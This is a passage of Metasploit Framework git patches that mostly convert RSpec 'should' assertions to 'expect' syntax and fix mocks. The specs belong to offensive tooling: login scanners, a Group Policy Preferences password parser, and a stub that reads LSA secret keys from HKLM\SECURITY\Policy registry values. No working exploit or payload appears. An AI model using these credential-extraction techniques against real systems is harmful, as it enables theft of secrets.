b/spec/lib/msf/core/modules/namespace_spec.rb @@ -157,7 +157,7 @@ RSpec.describe Msf::Modules::Namespace do rescue Msf::Modules::MetasploitClassCompatibilityError => error end - error.should_not be_nil + expect(error).not_to be_nil expect(error.to_s).to include(module_path) end @@ -169,7 +169,7 @@ RSpec.describe Msf::Modules::Namespace do rescue Msf::Modules::MetasploitClassCompatibilityError => error end - error.should_not be_nil + expect(error).not_to be_nil expect(error.to_s).to include(module_reference_name) end end diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index e8088418dd..273570e485 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -51,7 +51,7 @@ RSpec.describe Rex::Exploitation::RopDb do gadgets1 = ropdb.select_rop('msvcrt') gadgets2 = ropdb.select_rop('msvcrt', {'base'=>0x10000000}) - gadgets2[0].should_not eq(gadgets1[0]) + expect(gadgets2[0]).not_to eq(gadgets1[0]) end end diff --git a/spec/lib/rex/parser/group_policy_preferences_spec.rb b/spec/lib/rex/parser/group_policy_preferences_spec.rb index a8d960eb2b..f0f1718974 100644 --- a/spec/lib/rex/parser/group_policy_preferences_spec.rb +++ b/spec/lib/rex/parser/group_policy_preferences_spec.rb @@ -125,15 +125,15 @@ RSpec.describe Rex::Parser::GPP do it "Parse returns results for xml_ms and password is empty" do results = GPP.parse(xml_ms) - results.should_not be_empty + expect(results).not_to be_empty expect(results[0][:PASS]).to be_empty end it "Parse returns results for xml_datasrc, and attributes, and password is test1" do results = GPP.parse(xml_datasrc) - results.should_not be_empty + expect(results).not_to be_empty expect(results[0].include?(:ATTRIBUTES)).to be_truthy - results[0][:ATTRIBUTES].should_not be_empty + expect(results[0][:ATTRIBUTES]).not_to be_empty expect(results[0][:PASS]).to eq("test") end @@ -147,8 +147,8 @@ RSpec.describe Rex::Parser::GPP do it "Parse returns results for all good xmls and passwords" do xmls.each do |xml| results = GPP.parse(xml) - results.should_not be_empty - results[0][:PASS].should_not be_empty + expect(results).not_to be_empty + expect(results[0][:PASS]).not_to be_empty end end @@ -159,7 +159,7 @@ RSpec.describe Rex::Parser::GPP do xmls.each do |xml| results = GPP.parse(xml) tables = GPP.create_tables(results, "test") - tables.should_not be_empty + expect(tables).not_to be_empty end end end diff --git a/spec/lib/rex/parser/nmap_xml_spec.rb b/spec/lib/rex/parser/nmap_xml_spec.rb index 81b0a7ad51..f966b14eaa 100644 --- a/spec/lib/rex/parser/nmap_xml_spec.rb +++ b/spec/lib/rex/parser/nmap_xml_spec.rb @@ -29,7 +29,7 @@ RSpec.describe Rex::Parser::NmapXMLStreamParser do parser.on_found_host = Proc.new { |host| total_hosts += 1 it "should yield a host" do - host.should_not be_nil + expect(host).not_to be_nil end it "should populate the host with proper keys" do expect(host).to have_key("status") diff --git a/spec/lib/rex/parser/unattend_spec.rb b/spec/lib/rex/parser/unattend_spec.rb index 34a22d55cb..87c046923f 100644 --- a/spec/lib/rex/parser/unattend_spec.rb +++ b/spec/lib/rex/parser/unattend_spec.rb @@ -35,7 +35,7 @@ RSpec.describe Rex::Parser::Unattend do it "returns results for all positive examples" do pos_xmls.each do |xml| results = described_class.parse(xml) - results.should_not be_empty + expect(results).not_to be_empty end end diff --git a/spec/lib/rex/powershell/command_spec.rb b/spec/lib/rex/powershell/command_spec.rb index 90097191df..6d0c87a67f 100644 --- a/spec/lib/rex/powershell/command_spec.rb +++ b/spec/lib/rex/powershell/command_spec.rb @@ -385,14 +385,14 @@ RSpec.describe Rex::Powershell::Command do opt_length = opts.length - 1 - short_args.should_not be_nil - long_args.should_not be_nil + expect(short_args).not_to be_nil + expect(long_args).not_to be_nil expect(short_args.count('-')).to eql opt_length expect(long_args.count('-')).to eql opt_length - short_args[0].should_not eql " " - long_args[0].should_not eql " " - short_args[-1].should_not eql " " - long_args[-1].should_not eql " " + expect(short_args[0]).not_to eql " " + expect(long_args[0]).not_to eql " " + expect(short_args[-1]).not_to eql " " + expect(long_args[-1]).not_to eql " " if opts[:command] expect(long_args[-10..-1]).to eql "-Command Z" diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 1cd665cbb6..d4076fc4ce 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -113,7 +113,7 @@ RSpec.describe Rex::Proto::Http::Client do it "should not send creds on the first request in order to induce a 401" do req = cli.request_cgi - req.to_s.should_not match("Authorization:") + expect(req.to_s).not_to match("Authorization:") end it "should send creds after receiving a 401" do @@ -125,7 +125,7 @@ RSpec.describe Rex::Proto::Http::Client do expect(conn).to receive(:get_once).and_return(first_response, authed_response) expect(conn).to receive(:put) do |str_request| - str_request.should_not include("Authorization") + expect(str_request).not_to include("Authorization") nil end expect(conn).to receive(:put) do |str_request| @@ -170,7 +170,7 @@ RSpec.describe Rex::Proto::Http::Client do it "should test for credentials" do skip "Should actually respond to :has_creds" do - cli.should_not have_creds + expect(cli).not_to have_creds this_cli = described_class.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" ) expect(this_cli).to have_creds end @@ -206,7 +206,7 @@ RSpec.describe Rex::Proto::Http::Client do end it "should tell if pipelining is enabled" do - cli.should_not be_pipelining + expect(cli).not_to be_pipelining this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1) this_cli.pipeline = true expect(this_cli).to be_pipelining diff --git a/spec/lib/rex/proto/http/response_spec.rb b/spec/lib/rex/proto/http/response_spec.rb index 29e458d344..b6d8a2666c 100644 --- a/spec/lib/rex/proto/http/response_spec.rb +++ b/spec/lib/rex/proto/http/response_spec.rb @@ -191,8 +191,8 @@ RSpec.describe Rex::Proto::Http::Response do resp = described_class.new() resp.parse(self.send meth) cookies = resp.get_cookies - cookies.should_not be_nil - cookies.should_not be '' + expect(cookies).not_to be_nil + expect(cookies).not_to be '' cookies.split(';').map(&:strip) end diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index 28a6c579df..fbcc00e53e 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -35,7 +35,7 @@ RSpec.describe Rex::RandomIdentifierGenerator do expect(ident).to match(/\A[a-z0-9_]*\Z/) ident = subject.generate { |identifier| identifier.gsub("A","B") } - ident.should_not include("A") + expect(ident).not_to include("A") end end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index 28a352f49e..cd8965ca76 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -75,12 +75,12 @@ RSpec.describe Rex::Socket::RangeWalker do it 'should reject CIDR ranges with missing octets' do walker = Rex::Socket::RangeWalker.new('192.168/24') - walker.should_not be_valid + expect(walker).not_to be_valid end it 'should reject a CIDR range with too many octets' do walker = Rex::Socket::RangeWalker.new('192.168.1.2.0/24') - walker.should_not be_valid + expect(walker).not_to be_valid end it "should default the lower bound of a range to 0" do @@ -118,7 +118,7 @@ RSpec.describe Rex::Socket::RangeWalker do walker = Rex::Socket::RangeWalker.new("10.1.1.1,3") expect(walker).to be_valid expect(walker.length).to eq 2 - walker.should_not include("10.1.1.2") + expect(walker).not_to include("10.1.1.2") end it "should produce the same ranges with * and 0-255" do diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index f0324c1d2e..d7209bc24b 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -93,7 +93,7 @@ RSpec.describe Rex::SSLScan::Scanner do subject.send(:initialize, 'google.com', 443) end it "should mark SSLv2 as unsupported" do - subject.supported_versions.should_not include :SSLv2 + expect(subject.supported_versions).not_to include :SSLv2 expect(subject.sslv2).to eq false end diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb index a25135cc46..1bd2ef6e82 100644 --- a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -10,7 +10,7 @@ shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_de end it "should not have Mdm::Module::Detail##{attribute_name} nil" do - attribute.should_not be_nil + expect(attribute).not_to be_nil end it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do diff --git a/spec/support/shared/examples/msf/module_manager/module_paths.rb b/spec/support/shared/examples/msf/module_manager/module_paths.rb index 52939a24b0..30c4363133 100644 --- a/spec/support/shared/examples/msf/module_manager/module_paths.rb +++ b/spec/support/shared/examples/msf/module_manager/module_paths.rb @@ -9,7 +9,7 @@ shared_examples_for 'Msf::ModuleManager::ModulePaths' do path_with_trailing_separator = path + File::SEPARATOR module_manager.add_module_path(path_with_trailing_separator) - module_paths.should_not include(path_with_trailing_separator) + expect(module_paths).not_to include(path_with_trailing_separator) expect(module_paths).to include(path) end end diff --git a/spec/support/shared/examples/xor_encoder.rb b/spec/support/shared/examples/xor_encoder.rb index 070730d80a..2be9a25a50 100644 --- a/spec/support/shared/examples/xor_encoder.rb +++ b/spec/support/shared/examples/xor_encoder.rb @@ -22,15 +22,15 @@ shared_examples_for 'an xor encoder' do |keysize| if keysize > 1 it "should deal with input lengths that aren't a multiple of keysize" do - lambda { + expect { encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize) expect(encoded).to eql("\x00"*(keysize+1)) - }.should_not raise_error + }.not_to raise_error - lambda { + expect { encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize) expect(encoded).to eql("\x00"*(keysize-1)) - }.should_not raise_error + }.not_to raise_error end end From a8f766ffbd6cfc0d5c875b62fe8931ad111ea343 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 08:43:38 -0500 Subject: [PATCH 027/103] Fix unimplemented method allows MSP-13484 --- .../core/exploit/remote/browser_exploit_server_spec.rb | 10 ++++++---- .../exploit/remote/browser_profile_manager_spec.rb | 9 ++++----- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 88f414a585..5eede70d26 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -38,9 +38,14 @@ RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do end let(:cli) do - sock = Rex::Socket::Tcp + sock_class = Class.new do + include Rex::Socket::Tcp + end + + sock = sock_class.new allow(sock).to receive(:peerhost).and_return('0.0.0.0') allow(sock).to receive(:peerport).and_return(4444) + sock end @@ -199,9 +204,6 @@ RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do describe '#on_request_uri' do before(:each) do - allow(server).to receive(:get_profile_info) { in_memory_profile } - allow(server).to receive(:init_profile).with(kind_of(String)) - allow(server).to receive(:update_profile) allow(server).to receive(:process_browser_info) allow(server).to receive(:send_response) { @send_response_called = true } allow(server).to receive(:send_redirect) { @send_redirect_called = true } diff --git a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb index e942293e44..fe7620471d 100644 --- a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb @@ -2,11 +2,11 @@ require 'msf/core' RSpec.describe Msf::Exploit::Remote::BrowserProfileManager do - subject do + subject(:exploit_remmote) { mod = Msf::Exploit::Remote.allocate mod.extend described_class mod - end + } let(:default_profile) do { @@ -15,9 +15,8 @@ RSpec.describe Msf::Exploit::Remote::BrowserProfileManager do end before(:each) do - framework = double('framework') - allow(framework).to receive(:browser_profiles).and_return(default_profile) - allow_any_instance_of(described_class).to receive(:framework).and_return(framework) + framework = double('framework', browser_profiles: default_profile) + allow(exploit_remmote).to receive(:framework).and_return(framework) end describe '#browser_profile_prefix' do From 910b630d96accb60b59a3b691ebfa579c6e76abe Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 08:56:10 -0500 Subject: [PATCH 028/103] it { should == -> it { is_expected.to eq MSP-13484 --- spec/lib/rex/socket_spec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index c3682e835b..82fb173712 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -74,7 +74,7 @@ RSpec.describe Rex::Socket do context 'with lots of single 0s' do let(:try) { "fe80:0:0:0:0:0:0:1" } - it { should == "fe80::1" } + it { is_expected.to eq "fe80::1" } end end From 4858ae63bdbd8fab59bcf7c7e13202f34b35d77b Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:22:12 -0500 Subject: [PATCH 029/103] Thread class name for debugger has changed, so add new name MSP-13484 --- lib/metasploit/framework/spec/threads/suite.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb index c78791c579..84459cc68a 100644 --- a/lib/metasploit/framework/spec/threads/suite.rb +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -204,7 +204,8 @@ module Metasploit Thread.list.reject { |thread| # don't do `is_a? Debugger::DebugThread` because it requires Debugger::DebugThread to be loaded, which it # won't when not debugging. - thread.class.name == 'Debugger::DebugThread' + thread.class.name == 'Debugger::DebugThread' || + thread.class.name == 'Debase::DebugThread' } end end From ba88de84ece65baffd8fd357684294dc0a3b16af Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:23:05 -0500 Subject: [PATCH 030/103] Fix mocking errors MSP-13484 --- spec/lib/msf/core/post/windows/priv_spec.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/spec/lib/msf/core/post/windows/priv_spec.rb b/spec/lib/msf/core/post/windows/priv_spec.rb index 127da96a7e..9b12cc80e0 100644 --- a/spec/lib/msf/core/post/windows/priv_spec.rb +++ b/spec/lib/msf/core/post/windows/priv_spec.rb @@ -6,11 +6,13 @@ require 'msf/core/post/windows/priv' RSpec.describe Msf::Post::Windows::Priv do subject do - mod = Module.new - mod.extend described_class - stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, ] - stubs.each { |meth| expect(mod).to receive(meth) } - mod + context_described_class = described_class + + klass = Class.new(Msf::Post) do + include context_described_class + end + + klass.new end let(:boot_key_vista) do @@ -100,7 +102,6 @@ RSpec.describe Msf::Post::Windows::Priv do it "should produce expected LSA key" do expect(subject).to receive(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "").and_return(pol_enc_key_xp) - expect(subject).to receive(:registry_getvaldata).with("HKLM\\SECURITY\\Policy\\PolEKList", "").and_return(nil) subject.capture_lsa_key(boot_key_xp) end end From 6f71810010c1a90f36235021ae37b4b7c112d0f3 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Wed, 21 Oct 2015 09:23:22 -0500 Subject: [PATCH 031/103] it { should -> it { is_expected.to MSP-13484 --- .../abstract_adapter/connection_pool_spec.rb | 2 +- .../metasploit/framework/credential_spec.rb | 14 +++---- .../framework/jtr/invalid_wordlist_spec.rb | 2 +- .../metasploit/framework/jtr/wordlist_spec.rb | 18 ++++----- .../framework/login_scanner/afp_spec.rb | 2 +- .../framework/login_scanner/base_spec.rb | 6 +-- .../framework/login_scanner/invalid_spec.rb | 2 +- .../framework/login_scanner/mssql_spec.rb | 2 +- .../framework/login_scanner/result_spec.rb | 10 ++--- .../framework/login_scanner/smb_spec.rb | 16 ++++---- .../framework/login_scanner/ssh_spec.rb | 2 +- .../framework/login_scanner/telnet_spec.rb | 4 +- .../framework/login_scanner_spec.rb | 12 +++--- .../lib/msf/core/exe/segment_appender_spec.rb | 10 ++--- .../lib/msf/core/exe/segment_injector_spec.rb | 10 ++--- .../remote/firefox_addon_generator_spec.rb | 2 +- spec/lib/msf/core/payload_generator_spec.rb | 40 +++++++++---------- .../payloads/meterpreter/uri_checksum_spec.rb | 6 +-- .../extensions/stdapi/sys/registry_spec.rb | 12 +++--- .../rex/random_identifier_generator_spec.rb | 10 ++--- spec/lib/rex/socket/range_walker_spec.rb | 16 ++++---- spec/lib/rex/socket_spec.rb | 6 +-- spec/lib/rex/sslscan/result_spec.rb | 30 +++++++------- spec/lib/rex/sslscan/scanner_spec.rb | 8 ++-- spec/support/matchers/query_the_database.rb | 4 +- .../examples/credential/core/to_credential.rb | 2 +- .../framework/login_scanner/http.rb | 4 +- .../login_scanner/login_scanner_base.rb | 12 +++--- .../framework/login_scanner/ntlm.rb | 12 +++--- .../framework/login_scanner/rex_socket.rb | 4 +- .../metasploit/framework/tcp/client.rb | 4 +- .../examples/msf/db_manager/migration.rb | 6 +-- .../shared/examples/msf/db_manager/session.rb | 6 +-- .../examples/msf/module_manager/cache.rb | 16 ++++---- .../msf/simple/framework/module_paths.rb | 2 +- 35 files changed, 157 insertions(+), 157 deletions(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 0bf3450f34..0ecc9ee6cd 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -44,7 +44,7 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do end context 'in thread with connection' do - it { should be_truthy } + it { is_expected.to be_truthy } end context 'in thread without connection' do diff --git a/spec/lib/metasploit/framework/credential_spec.rb b/spec/lib/metasploit/framework/credential_spec.rb index 53b4e1807a..3ba1fd099d 100644 --- a/spec/lib/metasploit/framework/credential_spec.rb +++ b/spec/lib/metasploit/framework/credential_spec.rb @@ -13,12 +13,12 @@ RSpec.describe Metasploit::Framework::Credential do let(:realm_type) { Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN } let(:private_type) { :password } - it { should respond_to :paired } - it { should respond_to :private } - it { should respond_to :private_type } - it { should respond_to :public } - it { should respond_to :realm } - it { should respond_to :realm_key } + it { is_expected.to respond_to :paired } + it { is_expected.to respond_to :private } + it { is_expected.to respond_to :private_type } + it { is_expected.to respond_to :public } + it { is_expected.to respond_to :realm } + it { is_expected.to respond_to :realm_key } describe "#paired" do it "defaults to true" do @@ -86,7 +86,7 @@ RSpec.describe Metasploit::Framework::Credential do subject(:cred_detail) do described_class.new(public: public, private: private, realm: realm) end - it { should respond_to :to_credential } + it { is_expected.to respond_to :to_credential } it "should return self" do expect(cred_detail.to_credential).to eq(cred_detail) end diff --git a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb index 4058eddc18..3040b69818 100644 --- a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb @@ -17,7 +17,7 @@ RSpec.describe Metasploit::Framework::JtR::InvalidWordlist do end end - it { should be_a StandardError } + it { is_expected.to be_a StandardError } it 'should use ActiveModel::Errors#full_messages' do expect(model.errors).to receive(:full_messages).and_call_original diff --git a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb index 03a6025f02..5171ef744b 100644 --- a/spec/lib/metasploit/framework/jtr/wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/wordlist_spec.rb @@ -28,15 +28,15 @@ RSpec.describe Metasploit::Framework::JtR::Wordlist do "p@$$w0rd" ] } - it { should respond_to :appenders } - it { should respond_to :custom_wordlist } - it { should respond_to :mutate } - it { should respond_to :prependers } - it { should respond_to :use_common_root } - it { should respond_to :use_creds } - it { should respond_to :use_db_info } - it { should respond_to :use_default_wordlist } - it { should respond_to :use_hostnames } + it { is_expected.to respond_to :appenders } + it { is_expected.to respond_to :custom_wordlist } + it { is_expected.to respond_to :mutate } + it { is_expected.to respond_to :prependers } + it { is_expected.to respond_to :use_common_root } + it { is_expected.to respond_to :use_creds } + it { is_expected.to respond_to :use_db_info } + it { is_expected.to respond_to :use_default_wordlist } + it { is_expected.to respond_to :use_hostnames } describe 'validations' do diff --git a/spec/lib/metasploit/framework/login_scanner/afp_spec.rb b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb index c1688c578e..d0a17aef13 100644 --- a/spec/lib/metasploit/framework/login_scanner/afp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/afp_spec.rb @@ -10,7 +10,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::AFP do it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' it_behaves_like 'Metasploit::Framework::Tcp::Client' - it { should respond_to :login_timeout } + it { is_expected.to respond_to :login_timeout } describe "#attempt_login" do let(:pub_blank) do diff --git a/spec/lib/metasploit/framework/login_scanner/base_spec.rb b/spec/lib/metasploit/framework/login_scanner/base_spec.rb index 630c9f4e6b..380c8f21cb 100644 --- a/spec/lib/metasploit/framework/login_scanner/base_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/base_spec.rb @@ -29,7 +29,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Base do base_class.new(options) } - it { should respond_to :bruteforce_speed } + it { is_expected.to respond_to :bruteforce_speed } context 'validations' do @@ -70,7 +70,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Base do end - it { should respond_to :sleep_time } + it { is_expected.to respond_to :sleep_time } context '#sleep_time' do @@ -93,7 +93,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Base do end end - it { should respond_to :sleep_between_attempts } + it { is_expected.to respond_to :sleep_between_attempts } context '#sleep_between_attempts' context 'default' do diff --git a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb index ee306145c5..ff6afecc4c 100644 --- a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb @@ -17,7 +17,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Invalid do end end - it { should be_a StandardError } + it { is_expected.to be_a StandardError } it 'should use ActiveModel::Errors#full_messages' do expect(model.errors).to receive(:full_messages).and_call_original diff --git a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb index 60a1eb9b35..b2a29feb11 100644 --- a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb @@ -37,7 +37,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::MSSQL do it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM' it_behaves_like 'Metasploit::Framework::Tcp::Client' - it { should respond_to :windows_authentication } + it { is_expected.to respond_to :windows_authentication } context 'validations' do context '#windows_authentication' do diff --git a/spec/lib/metasploit/framework/login_scanner/result_spec.rb b/spec/lib/metasploit/framework/login_scanner/result_spec.rb index fb22b6b1b3..67f0973f21 100644 --- a/spec/lib/metasploit/framework/login_scanner/result_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/result_spec.rb @@ -20,11 +20,11 @@ RSpec.describe Metasploit::Framework::LoginScanner::Result do ) } - it { should respond_to :access_level } - it { should respond_to :credential } - it { should respond_to :proof } - it { should respond_to :status } - it { should respond_to :success? } + it { is_expected.to respond_to :access_level } + it { is_expected.to respond_to :credential } + it { is_expected.to respond_to :proof } + it { is_expected.to respond_to :status } + it { is_expected.to respond_to :success? } context '#success?' do context 'when the status code is success' do diff --git a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb index 5240e5ae5e..de98f1c656 100644 --- a/spec/lib/metasploit/framework/login_scanner/smb_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/smb_spec.rb @@ -37,14 +37,14 @@ RSpec.describe Metasploit::Framework::LoginScanner::SMB do it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM' it_behaves_like 'Metasploit::Framework::Tcp::Client' - it { should respond_to :smb_chunk_size } - it { should respond_to :smb_name } - it { should respond_to :smb_native_lm } - it { should respond_to :smb_native_os } - it { should respond_to :smb_obscure_trans_pipe_level } - it { should respond_to :smb_pad_data_level } - it { should respond_to :smb_pad_file_level } - it { should respond_to :smb_pipe_evasion } + it { is_expected.to respond_to :smb_chunk_size } + it { is_expected.to respond_to :smb_name } + it { is_expected.to respond_to :smb_native_lm } + it { is_expected.to respond_to :smb_native_os } + it { is_expected.to respond_to :smb_obscure_trans_pipe_level } + it { is_expected.to respond_to :smb_pad_data_level } + it { is_expected.to respond_to :smb_pad_file_level } + it { is_expected.to respond_to :smb_pipe_evasion } context 'validations' do context '#smb_verify_signature' do diff --git a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb index e0d57ccfb5..37d51d3c11 100644 --- a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb @@ -58,7 +58,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::SSH do it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false - it { should respond_to :verbosity } + it { is_expected.to respond_to :verbosity } context 'validations' do diff --git a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb index 0c942b35c7..96bdeafa6f 100644 --- a/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/telnet_spec.rb @@ -9,8 +9,8 @@ RSpec.describe Metasploit::Framework::LoginScanner::Telnet do it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' it_behaves_like 'Metasploit::Framework::Tcp::Client' - it { should respond_to :banner_timeout } - it { should respond_to :telnet_timeout } + it { is_expected.to respond_to :banner_timeout } + it { is_expected.to respond_to :telnet_timeout } context 'validations' do context 'banner_timeout' do diff --git a/spec/lib/metasploit/framework/login_scanner_spec.rb b/spec/lib/metasploit/framework/login_scanner_spec.rb index 7df8840d3a..7840702c27 100644 --- a/spec/lib/metasploit/framework/login_scanner_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner_spec.rb @@ -20,7 +20,7 @@ RSpec.describe Metasploit::Framework::LoginScanner do context "with name 'smb'" do let(:name) { 'smb' } - it { should include Metasploit::Framework::LoginScanner::SMB } + it { is_expected.to include Metasploit::Framework::LoginScanner::SMB } it { should_not include Metasploit::Framework::LoginScanner::HTTP } end @@ -28,7 +28,7 @@ RSpec.describe Metasploit::Framework::LoginScanner do context "with port #{foo}" do let(:port) { foo } - it { should include Metasploit::Framework::LoginScanner::SMB } + it { is_expected.to include Metasploit::Framework::LoginScanner::SMB } it { should_not include Metasploit::Framework::LoginScanner::HTTP } it { should_not include Metasploit::Framework::LoginScanner::VNC } end @@ -37,7 +37,7 @@ RSpec.describe Metasploit::Framework::LoginScanner do context "with name 'http'" do let(:name) { 'http' } - it { should include Metasploit::Framework::LoginScanner::HTTP } + it { is_expected.to include Metasploit::Framework::LoginScanner::HTTP } it { should_not include Metasploit::Framework::LoginScanner::SMB } it { should_not include Metasploit::Framework::LoginScanner::VNC } end @@ -46,9 +46,9 @@ RSpec.describe Metasploit::Framework::LoginScanner do context "with port #{foo}" do let(:port) { foo } - it { should include Metasploit::Framework::LoginScanner::HTTP } - it { should include Metasploit::Framework::LoginScanner::Axis2 } - it { should include Metasploit::Framework::LoginScanner::Tomcat } + it { is_expected.to include Metasploit::Framework::LoginScanner::HTTP } + it { is_expected.to include Metasploit::Framework::LoginScanner::Axis2 } + it { is_expected.to include Metasploit::Framework::LoginScanner::Tomcat } it { should_not include Metasploit::Framework::LoginScanner::SMB } end end diff --git a/spec/lib/msf/core/exe/segment_appender_spec.rb b/spec/lib/msf/core/exe/segment_appender_spec.rb index 02f95ab62e..0721f6265c 100644 --- a/spec/lib/msf/core/exe/segment_appender_spec.rb +++ b/spec/lib/msf/core/exe/segment_appender_spec.rb @@ -12,11 +12,11 @@ RSpec.describe Msf::Exe::SegmentAppender do end subject(:injector) { Msf::Exe::SegmentInjector.new(opts) } - it { should respond_to :payload } - it { should respond_to :template } - it { should respond_to :arch } - it { should respond_to :processor } - it { should respond_to :buffer_register } + it { is_expected.to respond_to :payload } + it { is_expected.to respond_to :template } + it { is_expected.to respond_to :arch } + it { is_expected.to respond_to :processor } + it { is_expected.to respond_to :buffer_register } it 'should return the correct processor for the arch' do expect(injector.processor.class).to eq Metasm::Ia32 diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb index a865c50f45..831042007c 100644 --- a/spec/lib/msf/core/exe/segment_injector_spec.rb +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -12,11 +12,11 @@ RSpec.describe Msf::Exe::SegmentInjector do end subject(:injector) { Msf::Exe::SegmentInjector.new(opts) } - it { should respond_to :payload } - it { should respond_to :template } - 